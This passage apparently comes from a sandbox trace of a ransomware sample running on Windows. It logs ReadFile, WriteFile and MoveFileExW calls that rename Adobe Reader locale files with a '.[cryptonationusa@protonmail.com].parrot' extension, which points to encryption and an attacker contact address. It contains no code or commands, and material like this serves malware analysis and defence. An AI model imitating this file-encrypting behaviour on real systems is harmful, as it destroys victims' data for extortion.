lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0260.432] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.433] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\AdobeCollabSync.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\adobecollabsync.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\AdobeCollabSync.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\adobecollabsync.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0260.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0260.443] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.443] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.454] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.455] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x75c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x75c00, lpOverlapped=0x0) returned 1 [0260.502] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.516] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Annots.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\annots.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Annots.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\annots.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333b588 | out: hHeap=0x5b0000) returned 1 [0260.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0260.525] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.527] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.533] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.533] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3200, lpOverlapped=0x0) returned 1 [0260.538] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.538] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\BRdlang32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\brdlang32.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\BRdlang32.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\brdlang32.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0260.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0260.543] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.544] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.545] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.545] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1d800, lpOverlapped=0x0) returned 1 [0260.551] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.555] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Checkers.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\checkers.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Checkers.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\checkers.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0260.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0260.563] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.563] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.564] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.564] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1e800, lpOverlapped=0x0) returned 1 [0260.571] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.574] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\DigSig.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\digsig.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\DigSig.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\digsig.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333b588 | out: hHeap=0x5b0000) returned 1 [0260.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0260.769] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.769] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.774] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.774] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4600, lpOverlapped=0x0) returned 1 [0260.776] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.778] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\DVA.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\dva.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\DVA.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\dva.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333b588 | out: hHeap=0x5b0000) returned 1 [0260.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0260.785] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.785] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.787] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.787] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0260.788] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.788] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\eBook.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ebook.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\eBook.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ebook.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333b588 | out: hHeap=0x5b0000) returned 1 [0260.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0260.794] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.794] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.795] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.795] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x9c00, lpOverlapped=0x0) returned 1 [0260.797] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.797] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\EScript.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\escript.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\EScript.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\escript.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.800] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0260.800] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.800] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0260.802] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.802] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.804] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.804] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0260.804] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.805] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\IA32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ia32.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\IA32.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ia32.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333b588 | out: hHeap=0x5b0000) returned 1 [0260.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0260.809] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.809] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.850] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.851] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x12200, lpOverlapped=0x0) returned 1 [0260.853] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.856] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\makeaccessible.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\makeaccessible.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\makeaccessible.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\makeaccessible.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.861] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0260.861] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.861] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0260.866] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.866] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.868] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.868] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x13000, lpOverlapped=0x0) returned 1 [0260.883] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.886] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Multimedia.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\multimedia.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Multimedia.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\multimedia.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0260.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0260.895] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.895] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.896] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.896] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0260.898] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.899] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\pddom.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\pddom.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\pddom.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\pddom.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333b588 | out: hHeap=0x5b0000) returned 1 [0260.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0260.906] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.906] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.907] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.907] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7c000, lpOverlapped=0x0) returned 1 [0260.924] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.991] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\PPKLITE.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ppklite.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\PPKLITE.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ppklite.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0260.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0261.001] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.001] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.003] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.003] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0261.031] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.031] WriteFile (in: hFile=0x288, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0261.035] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.035] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0261.038] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x140518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0261.038] CloseHandle (hObject=0x288) returned 1 [0261.038] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\RdLang32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\rdlang32.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\RdLang32.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\rdlang32.nor.[cryptonationusa@protonmail.com].parrot"), 